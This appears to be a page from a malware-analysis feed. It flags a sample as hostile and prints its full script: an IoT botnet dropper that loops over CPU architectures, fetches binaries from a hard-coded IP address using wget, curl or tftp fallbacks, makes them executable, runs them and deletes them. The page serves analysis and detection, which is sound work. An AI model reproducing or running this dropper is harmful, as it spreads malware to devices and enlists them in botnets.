Hostile 100% Download

51a0c63797d6fabb568a15cac7a2d9525f497068ea47bb693b29ed0f0a539551.unknown

Multi-architecture protocol fallback executionVariable-host fallback download executes payload
SHA-25651a0c63797d6fabb568a15cac7a2d9525f497068ea47bb693b29ed0f0a539551
MaleculeO(C₂)H₄(Cm₇F₄OsPo)

Evidence

Fetch URL host is a variable lines 1–11
1binarys="mips mpsl x86_64 arm7 arm arm6 arm5"
2server_ip="89.32.41.95"
3
4for arch in $binarys
5do
6rm -rf $arch
7wget http://$server_ip/$arch || curl -O http://$server_ip/$arch || tftp $server_ip -c get $arch || tftp -g -r $arch $server_ip
8chmod 777 $arch
9./$arch tplink
10rm -rf $arch
11done

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.